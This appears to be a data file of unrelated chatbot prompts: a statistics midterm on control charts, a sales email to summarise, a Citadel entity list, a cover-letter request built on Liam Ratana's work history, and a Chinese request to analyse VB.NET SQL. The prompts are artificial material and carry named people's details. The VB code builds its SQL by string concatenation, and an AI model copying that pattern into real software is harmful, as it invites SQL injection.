you can see, there are\n50 samples, each of size 8.\n(a) Use the first 25 samples to form the Shewhart control charts for film thickness\nmeasurements (x-bar and range charts). Please adopt false alarm rate of 0.1%.\n(b) Plot the remaining 25 samples on the chart and comment on what you see. What\ncan you say about mean film thicknesses and film uniformity?\nPlease feel free to use whatever software package you wish to plot the charts. Nevertheless,\nfor full credit, please show details of how control limits are derived.\nProblem 5. (50 points)\nMatlab file MidtermProblem5.mat contains 10 channels of data labeled as x1, x2,…,x10.\nIn each channel, there are 1000 recordings (this situation corresponds to processing of 1000\nwafers on a tool, with processing of each wafer being characterized by 10 sensory features,\nsuch as average pressure, standard deviation of pressure, min pressure, max pressure, mean\ntemperature, average reflected RF power, max reflected RF power, etc.). For your\nconvenience, the same data is also stored in an excel file MidtermProblem5.xlsx.\nIn this dataset, first 100 records (signatures from processing of the first 100 wafers)\nrepresent the “golden dataset”.\n(a) Use the golden dataset (first 100 records) to perform dimensionality reduction of\nthis dataset. How many dimensions do you think you should keep? Why? (15 pts)\n(b) Based on the golden dataset, please determine control limits for the Exponentially\nWeighted Moving Average (EWMA), as well as the variational EWMA control\ncharts for the principal components you selected in part (a). Please use false alarm\nrate of 0.3% and use forgetting factor = 0.3. Please clearly state what you found\nas center lines, upper and lower control limits, and clearly describe how you found\nthem. (20 pts)\n(c) For the remaining 900 data records, please construct EWMA and variational\nEWMA control charts, with control limits established based on part (b). Do you\nnotice any changes in the process? (15 pts)\n"\n\nYou will do every single part of every single question and separate them clearlyShare Prompt' +"10 bullets based on what is learned from the following article/email written by Justin McDonald:\n\nThe Race to the bottom\nThere is no strategic advantage, whatsoever, to being the second or third best price in your marketplace...\nHowever, there is a major advantage to being the most expensive price.\nNow, I know most of your reading this may say: “Justin, how can that be?”\nHey, I know, you know, that he business battlefield is rough and tough as it is. Them streets are mean.\nBut, really, do you want to be in an all-out price war?\nEven, if yow feel like you have “competitive advantage” over the other business(es) in your marketplace, however, there are no permanent competitive advantages to having the lowest price—it's just impossible. \nMany try, and all of them fail and eventually go bankrupt.\nLook at what happened to:\nSears, Circuit City, Kmart, Toys R Us and Office Max.. They pretty much ALL went bankrupt and had to close down. The ones left, are scrapping by and hard to believe they still exist in America's Amazonian.\nSo, exactly, what is a commodity?\nIf you are unsure if you are a commodity, or not, well here's a quick breakdown of what I believe a commodity is. (This is loosely based off something, I believe, Dan Kennedy said about commodities, in case you're wondering where this crazy jargon was inspired from.)\nOh, also, one thing you want to keep in the back of your mind...\n While I'm 'splaining this things, or these things, we define as “commodities” I have a bold contradicting statement to make.... that there really isn't such a thing as a commodity.\nHa, yup, that's right...\nNo such thing as a commodity!\nReally, it's more of a mindset, or what can be more or less described as commodity thinking.\nIt''s sort of like saying, you can't manage time time—it's impossible. It's not a man made object.\nHowever, you can manage the people and activities around to better fit your schedule.\nWe will still think of the above statement as “Time management” and for the sake of this quick lesson, we will dub all things related to the commodity mindset as.... a “commodity' in this case so I can tell the story.\nSo, if you're not really sure what a commodity is, well it's basically interchangeable and low-value items you'd typically find on the grocery stores shelves, things in the ce=leaning section, paper goods, office supplies, gasoline, and even insurance, can all be classified as commodities.\nWhen you look at businesses that sell to other business, like raw materials, things you fins in the janitor's closet, of course the office supplies, and even the morning coffee, have all become commodities.\nIf the only thing that separates you from the rest is price... you're doomed.\nOften, the commodities we see everyday, are the ordinary, plain, vanilla, products and services don't carry much differentiation and consumers tend to “price shop” for these items and it's usually the best price wins for them.\nThis is a very dangerous category to be in!!!\nYou might think you're playing it “safe” by having the lowest price, but really you aren't doing anyone (especially, you, your business, and its employees) any favors by having the cheapest price out there.\nIn fact, I challenge all of you reading this tight now to go back into work tomorrow and rise all you prices by ATLEAST 10%\nThat's right, I said, and I'll say it again. (nice and Big this time:)\nRAISE YOU PRICES TODAY! (THIS MEANS YOU)\nI know this might be a hard thing for you to do, and I know it takes guts to do this. But, trust me, it will do your business (and yourself...and your brand) a lot of good by discontinuing this rat race to the bottom of the food chain.\n(By the way, I can help you make the change and raise those prices, at virtually NO SACRFICE or cost to you. Think about it this way, if you raised your prices tomorrow I could theoretically give you FREE consultation. Wink wink, nudge nudge. Hit me up: justinmcdonald.consulting@gmail.com)\nIf you want to look at this in a broader scope, like the bigger corporate commodities that successfully sell at higher prices, just take a look at...\nNow I am a big fan of seltzer water. So is the rest of the country now. When I'm home, I can just use the soda make stream thingamajig. So, I 60 liters for about $30 ($20ish when I bring back my old cylinder.\nMost grocery stores sell the big brands of seltzers, these days, we'll say about $4.99-5.99 for a 12pack of seltzer for name brand, probably $3.99 for the 8 packs I suppose of name brand, and about $2.99 for the store brand.\nS. Pellegrino Essenza sells their 8 packs of seltzer for @6.99 or Perrier Sparkling Water - 8pk\n at $.59. Just bubbles and H20. Then, take a look at this new company called Liquid Death, they sell their 12 packs for $14.99. Why? Go look them up sometime, they have a really decent marketing campaign.\nI remember Robert Kiyoksaki (Rich Dad, Poor Dad fame) used to say:\n“If you are not a brand,you are a commodity.”\nI'm not saying you should spend all your time building your brand either, but this is the kind of mindset that'll get you in the “successful business thinking” instead of the commodity-type of thinking.\nIf you have been following the pattern here, you can see that commodities, or the businesses that perform with the mindset of being a commodity, are really competing based on price.\nIn other words, those that commoditize themselves are putting themselves in enemy lines and going to (price) war.\nReally, if you are a commodity, then the competition can only drive your overhead down, which is why I like to call it:\nThe race to the bottom.\nNow, imagine this crazy scenario... (actually, come to think of it, it ain't all that uncommon.)\nAn outside competitor decided to move into the marketplace and they pretty much underpay all their employees, because most of them are low-wage or minimum wage immigrant workers—many from under developed countries. And, they have a good relationship with the post office and their home country, where they do much of their outsourcing.\nSo, now you're really int trouble, if your only selling point, or what made you stand out was price. These new guys now have the upper hand and can basically charge whatever they want (Obviously, to an extent, but enough to make things an uphill battle for your business.)\nOne way to avoid “looking” like everyone else in your marketplace (ahem: a commodity) is to be different. Some start building their own brand. Others create, or carve out their own niche, within the marketplace.\nJust like the old sayin':\n“Niches become riches”\nHowever, creating a niche can come quick, for some, but for many of us, this stuff just doesn't appear on our door step overnight.\nThis can be a challenging process, for some, mainly because it means sacrificing short-term profits f or the long term goals.\nLike, for instance, I know this sounds bizarre, but you really got to look at the first sale, in any business, as being the least profitable.\nUnless, of course you're in the ”one and done” business and don't care to get repeat buyers. (Therefore, what I'm saying might be considered useless to you.)\nFor the rest of you that want customer retention, you really, really, really got to maximize the amount you're spending on your ad budget and your marketing processes. (Notice how I said marketing “processes.”)\nThat's because, ladies and gentle folk:\nMarketing is a process not an event.\nDoes that statement sound familiar? Good! If not, remember that it's a process.\nAs much as I like money, and as much as many businesses are willing to spend on quality and successful marketing campaigns, that actually produce REAL results worth mentioning...\nWe, copywriters and ad people, can't just do it all by ourselves (no matter how much money you throw at us?)\nWhy? Well, because you still need to be in the driver's seat (at least sitting shotgun( when we do your ads and write your copy.\nNobody knows your business better than you. Period.\nSo, sure you can hire me, or any of us to write you ads, sure. But, think about it. We really, really, really, got to at least dig inside YOUR brain and mine out the nuggets.\nIf the client gets one whiff, it ain't you speaking, they will freak out and say bye-bye. Adios Amigos.\nSo, we, as writers need to sound like you, or as if it were you talking.\nSo, that's why I say you got to know your business inside and out and also share the thoughts rattling in your head, and everything else, with us. (Plus, any prior ad copy, especially the winners.)\nLet's say you're still stuck in that commodity box, like we were talking about earlier.\nThe moment you decide to stop living in that box, the moment you start becoming free.\nAlas, now we can work on your mission, you plan, and this becomes part of your brand. What makes you different. What makes you better than the rest.\nJust the simple fact you're online reading the kind of articles, you are already in the right track.\nNow it's time to start cookin'.\nBut, you should be aware, that this stage is and can be a personal and delicate stage for many business owners.\nNo body can decide your mission, and nobody can express what it is you wan to do better than you.\nThis is your thing. Live your dream. Live your best life and all that.\nWithout getting all woo-woo on you, I believe this to be the time in one;s life (in business) where they really reach down in their soul (if they have one) and discover why they are in the business they are in.\nIf you are in it just for money. I hate to break it you, but that's not going to last very long. Certainly not forever.\nIf you HATAE what you're doing but the money is good. It ain't enough. It can't sustain. Eventually you'll want to quit because it will interfere with your life and screw with your head until you decide to make the change and be honest with yourself.\nThis isn't a step you can just breeze through wither. Ii's worth taking your time,\n(Whenever you re ready to make the move and need a hand getting traffic and making more money, then just send me an email: justinmcdonald.consulting@gmail.com.)\nThe thoughts and emotions you have about your business, your self-image, status, and what you think about in terms of what your business looks in the marketplace will all eventually translate to how we all tend to want to move forward, also with you and with your business. \nEveryone will pretty much be able to read you like a book...\non whether or not this is a good fit for you.\nI mean does anyone like dealing with a desperate, sad puppy salesman, soaked from the rain and smelling like vomit, on their doorstep trying to sell plastic food storage bins out of his musky briefcase?\nI think not.\nEither way, once you really find out what it is you want to do moving forward, and discover, or rediscover, what your true purpose is, then you'll want to define what makes you unique.\nWe call this the Unique selling proposition. (USP). And, if you're paying any attention you saw I covered what a USP is already.\nSome of you might be thinking it's too late to get out of the commodity box, but don't be discourages, it really just takes a little mental clarity and creativity, and just having the basic skills of seeing through things clearly... you'll be fine.\nOnce we get to see the unique aspects of what you offer, it should be a cinch.\nWhile you're looking around to see what stands out as a commodity, or doing market research, just take a look at some of the upscale designer jeans, fashion underwear modeled for the super rich, and even something we can get for fee, essentially, air (yes, oxygen) and water (bottled) are crazy expensive.\nAnyway, I think I gave you a lot to put in the back of your mind.\nJust remember, the more one is willing to spend on their success, the better the and more frequent the results that are required to be successful.\nThank you for reading and I look forward to sharing my next installment.\nPeace,\nJustin N. McDonald\nP.S.\nIf you, or anyone you know is sick of wasting money on copywriters and consultants that don't deliver, then maybe it's time to stop living in that hell.\nI might be, and confident that I am, telling you the whole truth and nothing but the truth here, and if what I write here, speaks to you in anyway, I could be the right guy for the job.\nI am sure there are plenty that can do it cheaper, and by all means do some shopping around. But, I ain't cheap. I also have a zero-tolerance for any interruptions when we work together.\n I get results and I get them quick.\nI so have (for a very limited time ONLY) a very special BETA 30-minute consultation rate for your first initial call (remember what I said about the first sale being the least profitable? Even applies to me)\nWell, here is living proof\nThere should be a few spots open this month, just check the schedule:\njustinmcdonald.biz/schedule\nP.P.S.\nShameless Plug: I know you hear me talk about and reference Dan Kennedy all the time. The guy is a genius and it's hard not to\nI know I already did enough pitching with my own self. But, just like having a hard time resisting reference the guy, it's equally s hard not to do a little business with your hero and spread the word.\nLook, I know I practically given away thousands, probably hundreds of thousand dollars out, potentially in ideas for FREE.\nSo, you know where I get a lot of my ideas from, right? And my business philosophy? \nThat's right, Dan Kennedy.\nSo if you want your business, in 2023, to make millions, if not more, then get this guys' newsletter.\nDan Kennedy are practically giving away millions of dollars worth of REAL business advice and secrets in these newsletters.\nSo, if you're a serious entrepreneur and already getting lots of traffic and kind of successful, then it's a no brainier to get this newsletter.\nThink about what everything else costs you per month.\nThis newsletter can be writer n off as a business expense. I like to treat it almost as if it were an asset to my business.\nAnyway, you can find the sign up here (I get a little commissions, so it keeps my head in the game if you decide to sign up through me.)\nThe paper and ink NO BS NEWSLETTER hand delivered by the post office from Dan Kennedy and Russel Brunson can be found here: \nhttps://gkic.isrefer.com/go/mifge22/Justinmcdonald/" +'Simulate a conversation between Alice and /u/CruxHub. They talk about which company from this data batch is worth researching further into on the web.\n\nData batch: Entity Name Purpose / Source Hypothesized Acronym\n50|CALC V LP|Investment manager for CSHC CHINA LLC and CITADEL (SHANGHAI) TRADING COMPANY LTD; https://files.brokercheck.finra.org/firm/firm\\_131114.pdf| \n51|CAMBRIDGE FINANCIAL GROUP, LTD|See CITADEL INVESTMENT GROUP LLC| \n52|CCFD OFFSHORE HOLDINGS LTD|NFA Pool ID P064386, ceased trading 5/3/2013| \n53|CCLC HOLDINGS LLC|Owns CITADEL CLEARING LLC, "Citadel Clearing Holdco"; https://files.brokercheck.finra.org/firm/firm\\_172693.pdf| \n54|CCMFL LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n55|CCOF OFFSHORE HOLDINGS LTD|NFA Pool ID P064392, ceased trading 5/3/2013| \n56|CDC PARTNERS, LP f/k/a GLB PARTNERS, LP|see Cook County, IL doc 0608910081| \n57|CDG HOLDINGS LTD|NFA Pool ID P037047, ceased trading 12/30/2009| \n58|CE TM HOLDINGS LLC f/k/a KCG IP HOLDINGS LLC|Holding company for intellectual property (25 trademarks, 1 patent found so far)|CE TM = Citadel Enterprise Trademark Holdings \n59|CEF OFFSHORE HOLDINGS LTD|NFA Pool ID P131121| \n60|CEIF INTERNATIONAL LTD|NFA Pool ID P048476; http://registers.centralbank.ie/ICAVDocuments/C439830/Director%20Details%20Updated%2021.01.07%203.pdf| \n61|CEIF LLC|NFA Pool ID P048474| \n62|CEIF PARTNERS INTERNATIONAL LTD|NFA Pool ID P173278| \n63|CEIF PARTNERS LLC|NFA Pool ID P048475| \n64|CES SECURITIES CANADA ULC|See CITADEL SECURITIES CANADA ULC, CSA NRD # 49280| \n65|CFPS HOLDINGS S.à r.l.|Luxembourg - B176936; 100% owned by CITADEL ENERGY INVESTMENTS LTD| \n66|CGE ALPHA LTD|NFA Pool ID P057309, ceased trading 6/7/2017| \n67|CGE ALPHA OFFSHORE HOLDINGS LTD|https://www.sec.gov/Archives/edgar/vprr/1600/16003280.pdf; NFA Pool ID P064400, ceased trading 4/30/2017| \n68|CGEF OFFSHORE HOLDINGS LTD|https://www.sec.gov/Archives/edgar/vprr/1600/16003280.pdf; NFA Pool ID P064406, ceased trading 2/21/2019| \n69|CGEF SPC|NFA Pool ID P064408, ceased trading 12/31/2012| \n70|CGMF OFFSHORE HOLDINGS LTD|NFA Pool ID P064410, ceased trading 3/31/2014| \n71|CGTS HOLDINGS S.à r.l.|Luxembourg - B157777; 100% owned by TACTICAL TRADING HOLDING LTD; NFA Pool ID P064412, ceased trading 9/30/2014| \n72|CHARAXES MELVIN LLC|Sole member of CHARAXES MELVIN II LLC|Charaxes are a type of butterfly: https://en.wikipedia.org/wiki/Charaxes \n73|CHARAXES MELVIN II LLC|Delaware LLC, Florida address is Citadel Miami HQ, sole member is CHARAXES MELVIN LLC|Charaxes are a type of butterfly: https://en.wikipedia.org/wiki/Charaxes \n74|CHI2LTV LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n75|CIG(E) LLP|See CITADEL EUROPE LLP| \n76|CIG CANADA ULC|https://files.brokercheck.finra.org/firm/firm\\_172693.pdf| \n77|CIG MEDIA LLC|https://www.sec.gov/Archives/edgar/data/923877/000114420407003635/v063478\\_sc-13d.htm| \n78|CITADEL AAM LP|https://www.sec.gov/Archives/edgar/vprr/0804/08040017.pdf| \n79|CITADEL AC INVESTMENTS LTD|https://www.sec.gov/Archives/edgar/data/1015780/000114420408032074/v115701\\_sc13da.htm| \n80|CITADEL ADVISORS EUROPE LIMITED f/k/a CITADEL MANAGEMENT (EUROPE) LIMITED f/k/a CITADEL HEDGE FUND SERVICES (EUROPE) LIMITED|https://find-and-update.company-information.service.gov.uk/company/10930267| \n81|CITADEL ADVISORS HOLDINGS LP|Sole member of CITADEL ADVISORS LLC; https://www.sec.gov/Archives/edgar/data/1567180/000110465922099806/xslF345X03/tm2225817-2\\_4.xml| \n82|CITADEL ADVISORS HOLDINGS II LP|https://www.sec.gov/Archives/edgar/data/1177609/000114420416082613/v429844\\_sc13ga.htm| \n83|CITADEL ADVISORS HOLDINGS III LP|https://www.sec.gov/Archives/edgar/data/1640129/000114420415043739/xslF345X02/v416000\\_3.xml| \n84|CITADEL ADVISORS LLC|NFA ID: 0391913; https://www.sec.gov/edgar/browse/?CIK=1423053| \n85|CITADEL ADVISORS II LLC|| \n86|CITADEL ADVISORS SINGAPORE PTE. LIMITED|| \n87|CITADEL ALTERNATIVE ASSET MANAGEMENT LP|https://www.sec.gov/Archives/edgar/data/1027745/000114420408050200/v124853\\_sc13g.htm| \n88|CITADEL AMERICAS LLC|| \n89|CITADEL AMERICAS SERVICES LLC|| \n90|CITADEL ANTAEUS INTERNATIONAL INVESTMENTS LTD|| \n91|CITADEL ASIA ASSET HOLDING LIMITED|http://registers.centralbank.ie/ICAVDocuments/C157189/Director%20Details%20Updated%2016.10.31%202.pdf| \n92|CITADEL ASIA LIMITED f/k/a CITADEL (HONG KONG) LIMITED|https://adviserinfo.sec.gov/firm/summary/148826| \n93|CITADEL CANDLESTICK EIF LLC|| \n94|CITADEL CANTERBURY S.à r.l.|Luxembourg - B87988; 100% owned by CITADEL TONBRIDGE S.à r.l.| \n95|CITADEL CEFL CHINA LTD|NFA Pool ID P148073| \n96|CITADEL CEFL INVESTMENTS LTD|NFA Pool ID: P161763; https://files.brokercheck.finra.org/firm/firm\\_172693.pdf| \n97|CITADEL CEIT CHINA LTD|| \n98|CITADEL CEMF CHINA LTD|https://find-and-update.company-information.service.gov.uk/company/02263951/charges/x6zPQSYGNpuDNgxU1cFQlCS0iog| \n99|CITADEL CEMF INVESTMENTS LTD|https://files.brokercheck.finra.org/firm/firm\\_172693.pdf| \n100|CITADEL CEMF SPV LTD f/k/a CITADEL INVESTMENT MASTER FUND LTD|See CITADEL INVESTMENT MASTER FUND LTD; https://opencorpdata.com/lei/LF0U6QUBXKIO573GXS38|' +"Draft a cover letter on behalf of Liam Ratana for the position of Marketing manager based on his experience, highlighting his roles at Red Bull and VICE.\n\nLiam Ratana Experience\nManaging Director\nManaging Director\nNative Media Limited · Self-employed\nNative Media Limited · Self-employed\nAug 2018 - Present · 4 yrs 7 mos\nAug 2018 - Present · 4 yrs 7 mos\nWhangarei, Northland, New Zealand\nWhangarei, Northland, New Zealand\nNative Media Limited is a full-service marketing agency specialising in business and marketing consultancy. Examples of our clients include the Ministry of Education, Department of Corrections, and other various governmental and non-governmental organisations.\nNative Media Limited is a full-service marketing agency specialising in business and marketing consultancy. Examples of our clients include the Ministry of Education, Department of Corrections, and other various governmental and non-governmental organisations.\n\nBoard Member - Northland Conservation Board\nBoard Member - Northland Conservation Board\nDepartment of Conservation (DOC)\nDepartment of Conservation (DOC)\nJul 2022 - Present · 8 mos\nJul 2022 - Present · 8 mos\nNorthland, New Zealand\nNorthland, New Zealand\nI was appointed as a board member of the Northland Conservation Board by the Minister for Conservation Hon Poto Williams in July 2022. Te Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board is the community’s voice in conservation management in the region. The board gives advice to DOC on local conservation matters and carries out important planning roles. A major responsibility of the board is in the development and implementation of the Northland Conservation Management Strategy.\nI was appointed as a board member of the Northland Conservation Board by the Minister for Conservation Hon Poto Williams in July 2022. Te Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board is the community’s voice in conservation management in the region. The board gives advice to DOC on local conservation matters and carries out important planning roles. A major responsibility of the board is in the development and implementation of the Northland Conservation Management Strategy.\n\nTe Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board\nTe Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board\n\nSenior Business Consultant\nSenior Business Consultant\nWharePR · Freelance\nWharePR · Freelance\nJun 2021 - Present · 1 yr 9 mos\nJun 2021 - Present · 1 yr 9 mos\nI currently manage accounts for a boutique PR and Communications agency focussed on assisting Māori businesses and organisations. My duties include drafting internal and external communications plans, media relations, and more.\nI currently manage accounts for a boutique PR and Communications agency focussed on assisting Māori businesses and organisations. My duties include drafting internal and external communications plans, media relations, and more.\n\nGuest Writer\nGuest Writer\nThe Spinoff · Freelance\nThe Spinoff · Freelance\nMar 2021 - Present · 2 yrs\nMar 2021 - Present · 2 yrs\nI regularly contribute articles to both The Spinoff and its commercial arm Daylight Creative.\nI regularly contribute articles to both The Spinoff and its commercial arm Daylight Creative.\n\nFreelance Writer / Commentator\nFreelance Writer / Commentator\nNew Zealand Herald · Freelance\nNew Zealand Herald · Freelance\nJul 2021 - Present · 1 yr 8 mos\nJul 2021 - Present · 1 yr 8 mos\nColumnist and commentator focussed on Māori issues.\nColumnist and commentator focussed on Māori issues.\n\nKaiawhina Pārongo / Communications Advisor\nKaiawhina Pārongo / Communications Advisor\nNorthland Regional Council · Contract\nNorthland Regional Council · Contract\nNov 2021 - Nov 2022 · 1 yr 1 mo\nNov 2021 - Nov 2022 · 1 yr 1 mo\nWhangarei, Northland, New Zealand\nWhangarei, Northland, New Zealand\nI work on the Community Engagement team at Northland Regional Council. My role includes acting as Account Lead for Māori Engagement.\nI work on the Community Engagement team at Northland Regional Council. My role includes acting as Account Lead for Māori Engagement.\nMultimedia Journalist\nMultimedia Journalist\nNZME · Full-time\nNZME · Full-time\nMar 2021 - Jun 2021 · 4 mos\nMar 2021 - Jun 2021 · 4 mos\nWhangarei, Northland, New Zealand\nWhangarei, Northland, New Zealand\nA multimedia journalist for the Northern Advoacate covering Māori, health, and general news.\nA multimedia journalist for the Northern Advoacate covering Māori, health, and general news.\n\nMultimedia Journalist\nMultimedia Journalist\nTVNZ · Full-time\nTVNZ · Full-time\nOct 2020 - Mar 2021 · 6 mos\nOct 2020 - Mar 2021 · 6 mos\nAuckland, New Zealand\nAuckland, New Zealand\nMāori and Pasifika specialist for Re: News.\nMāori and Pasifika specialist for Re: News.\n\nCommunications Specialist\nCommunications Specialist\nRed Bull\nRed Bull\nOct 2019 - Oct 2020 · 1 yr 1 mo\nOct 2019 - Oct 2020 · 1 yr 1 mo\nAuckland, New Zealand\nAuckland, New Zealand\nAmplification of Red Bull Media House stories, day-to-day management of RedBull.com, corporate/internal communications, ideation, backend management.\nAmplification of Red Bull Media House stories, day-to-day management of RedBull.com, corporate/internal communications, ideation, backend management.\nJournalist\nJournalist\nCook Islands News\nCook Islands News\nFeb 2018 - Sep 2019 · 1 yr 8 mos\nFeb 2018 - Sep 2019 · 1 yr 8 mos\nRarotonga, Cook Islands\nRarotonga, Cook Islands\nWorked full time in the news room as a reporter. Covered various topics including crime, politics, sports, etc. Was then employed on a freelance basis.\nWorked full time in the news room as a reporter. Covered various topics including crime, politics, sports, etc. Was then employed on a freelance basis.\n\nContent Writer\nContent Writer\nVICE Asia Pacific\nVICE Asia Pacific\nDec 2016 - Mar 2019 · 2 yrs 4 mos\nDec 2016 - Mar 2019 · 2 yrs 4 mos\nAuckland, New Zealand\nAuckland, New Zealand\nI was a freelance journalist for VICE, regularly contributing articles, photography, and content ideas. I also hosted panel discussions, etc.\nI was a freelance journalist for VICE, regularly contributing articles, photography, and content ideas. I also hosted panel discussions, etc.\n\nEditorial Assistant/Junior Writer\nEditorial Assistant/Junior Writer\nBauer Media Group\nBauer Media Group\nAug 2017 - Nov 2017 · 4 mos\nAug 2017 - Nov 2017 · 4 mos\nAuckland, New Zealand\nAuckland, New Zealand\nI was an Editorial Assistant and Junior Writer at New Zealand's largest publishing company. I carried out various administrative tasks, such as commissioning, invoicing, and managing stock for Metro and Paperboy magazines. My writing also featured in both of these publications.\nI was an Editorial Assistant and Junior Writer at New Zealand's largest publishing company. I carried out various administrative tasks, such as commissioning, invoicing, and managing stock for Metro and Paperboy magazines. My writing also featured in both of these publications.\nMedia Operator\nMedia Operator\nMāori Television\nMāori Television\nOct 2016 - Dec 2016 · 3 mos\nOct 2016 - Dec 2016 · 3 mos\nAuckland, New Zealand\nAuckland, New Zealand\nI was a member of Māori Television's core cinetape team. We were in charge of various tasks, including quality control, ingesting raw footage, and other linear and non-linear interactions.\nI was a member of Māori Television's core cinetape team. We were in charge of various tasks, including quality control, ingesting raw footage, and other linear and non-linear interactions.\nStatistician\nStatistician\nKahawai Productions\nKahawai Productions\n2012 - 2016 · 4 yrs\n2012 - 2016 · 4 yrs\nAuckland, New Zealand\nAuckland, New Zealand\nI was a live sports statistician for a production company in Auckland, New Zealand.\nI was a live sports statistician for a production company in Auckland, New Zealand.\n\nStatistician\nStatistician\nSky New Zealand\nSky New Zealand\nMay 2012 - Sep 2014 · 2 yrs 5 mos\nMay 2012 - Sep 2014 · 2 yrs 5 mos\nAuckland, New Zealand\nAuckland, New Zealand\nWorked for the largest television network in New Zealand as a live sports statistician." +'請幫我把下面這段vb程式碼，分析出查找資料表、欄位及撈取條件：\n Private Sub Page\\_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load\n \'在這裡放置使用者程式碼以初始化網頁\n usr = clsUser.GetUser(Me.Session)\n \'Response.Expires = 0\n \'Response.CacheControl = "no-cache"\n \'Response.AddHeader("Pragma", "no-cache")\n clsUser.ChkRight(Me)\n Dim strSQL As String\n \'strSQL = "Select CC.Seq\\_No,CC.Hosp\\_ID,CC.CID,CC.PID,CC.Accept\\_Date,CC.Name,CC.Sex,CC.Birthday,CC.TEL,CC.CMemo,CC.CMemo\\_Name,T.Chk\\_Date,T.Ret\\_Date,Cast((getDate() - T.Ret\\_Date) as int) ODays,T.Creatinine,T.CC\\_GFR,T.MDRD\\_GFR as GFR,T.Stage,CC.Finished from CKDCase CC,(Select T1.\\* from Treat\\_History T1 Where Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' and Chk\\_Date = (Select Max(T2.Chk\\_Date) From Treat\\_History T2 Where T1.CID = T2.CID And T1.Hosp\\_ID = T2.Hosp\\_ID)) T Where CC.Hosp\\_ID \\*= T.Hosp\\_ID And CC.CID \\*= T.CID And CC.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' Order By T.Ret\\_Date "\n \'strSQL = "Select CC.Seq\\_No,CC.Hosp\\_ID,CC.CID,CC.PID,CC.Accept\\_Date,CC.Name,CC.Sex,CC.Birthday,CC.TEL " & \\_\n \' ",isnull(rtrim(city.CityName),\'\') City ,isnull(rtrim(ctry.CountryName),\'\') Country ,isnull(rtrim(vill.VillageName),\'\') + CC.Caddr Caddr ,isnull(rtrim(ctry.Zip),\'\') Zip " & \\_\n \' ",isnull(rtrim(city.CityName),\'\')+isnull(rtrim(ctry.CountryName),\'\')+isnull(rtrim(vill.VillageName),\'\') + CC.Caddr Faddr " & \\_\n \' ",CC.CMemo,CC.CMemo\\_Name,T.Chk\\_Date,T.Ret\\_Date,Cast((getDate() - T.Ret\\_Date) as int) ODays,T.Creatinine,T.CC\\_GFR,T.MDRD\\_GFR as GFR,T.Stage,isnull(CC.Finished,\'N\') Finished,C.Hct,C.Uric\\_Acid,C.IPTH,C.Ca,C.P,C.Ca \\* C.P CaP,C.Cholesterol,C.Triglyceride,C.K " & \\_\n \' ",T.doctor ,T.Nurse " & \\_\n \' ", i\\_doc.NAME d\\_name, i\\_nrs.Name n\\_name " & \\_\n \' "From Ini\\_CKDCase CC " & \\_\n \' "left outer join (Select T1.\\* from Ini\\_Treat\\_History T1 Where Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' and Chk\\_Date = (Select Max(T2.Chk\\_Date) From Ini\\_Treat\\_History T2 Where T1.CID = T2.CID And T1.Hosp\\_ID = T2.Hosp\\_ID And isnull(T2.Givetype,\'\')=\'\')) T On CC.Hosp\\_ID = T.Hosp\\_ID And CC.CID = T.CID " & \\_\n \' "left outer join (Select \\* from Ini\\_Chk\\_History C1 Where C1.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' And C1.Chk\\_Date = (Select Max(Chk\\_Date) from Ini\\_Chk\\_History C2 Where C1.Hosp\\_ID = C2.Hosp\\_ID And C1.CID = C2.CID ) ) C On CC.Hosp\\_ID = C.Hosp\\_ID And CC.CID = C.CID " & \\_\n \' "left outer join Ini\\_Doctor i\\_doc on T.doctor = i\\_doc.ID and i\\_doc.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n \' "left outer join Ini\\_Nurse i\\_nrs on T.Nurse = i\\_nrs.ID and i\\_nrs.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n \' "left outer join CommCity\\_N city on city.CityID = CC.CityID " & \\_\n \' "left outer join CommCountry\\_N ctry on ctry.CityID = CC.CityID and ctry.CountryID = CC.CountryID " & \\_\n \' "left outer join CommVillage\\_N vill on vill.CityID = CC.CityID and vill.CountryID = CC.CountryID and vill.VillageID = CC.VillageID " & \\_\n \' "Where CC.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n \' "Order By T.Ret\\_Date "\n strSQL = "Select CC.Seq\\_No,CC.Hosp\\_ID,CC.CID,CC.PID,CC.Accept\\_Date,CC.Name,CC.Sex,CC.Birthday,CC.TEL " & \\_\n ",isnull(rtrim(city.CityName),\'\') City ,isnull(rtrim(ctry.CountryName),\'\') Country ,isnull(rtrim(vill.VillageName),\'\') + CC.Caddr Caddr ,isnull(rtrim(ctry.Zip),\'\') Zip " & \\_\n ",isnull(rtrim(city.CityName),\'\')+isnull(rtrim(ctry.CountryName),\'\')+isnull(rtrim(vill.VillageName),\'\') + CC.Caddr Faddr " & \\_\n ",CC.CMemo,CC.CMemo\\_Name,T.Chk\\_Date,T.Ret\\_Date,Cast((getDate() - T.Ret\\_Date) as int) ODays,T.Creatinine,T.CC\\_GFR,T.MDRD\\_GFR as GFR,T.Stage,isnull(CC.Finished,\'N\') Finished,C.Hct,C.Uric\\_Acid,C.IPTH,C.Ca,C.P,C.Ca \\* C.P CaP,C.Cholesterol,C.Triglyceride,C.K " & \\_\n ",T.doctor ,T.Nurse " & \\_\n ", i\\_doc.NAME d\\_name, i\\_nrs.Name n\\_name " & \\_\n "From Ini\\_CKDCase CC " & \\_\n "left outer join (Select T1.\\* from Ini\\_Treat\\_History T1 Where Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' and Chk\\_Date = (Select Max(T2.Chk\\_Date) From Ini\\_Treat\\_History T2 Where T1.CID = T2.CID And T1.Hosp\\_ID = T2.Hosp\\_ID)) T On CC.Hosp\\_ID = T.Hosp\\_ID And CC.CID = T.CID " & \\_\n "left outer join (Select \\* from Ini\\_Chk\\_History C1 Where 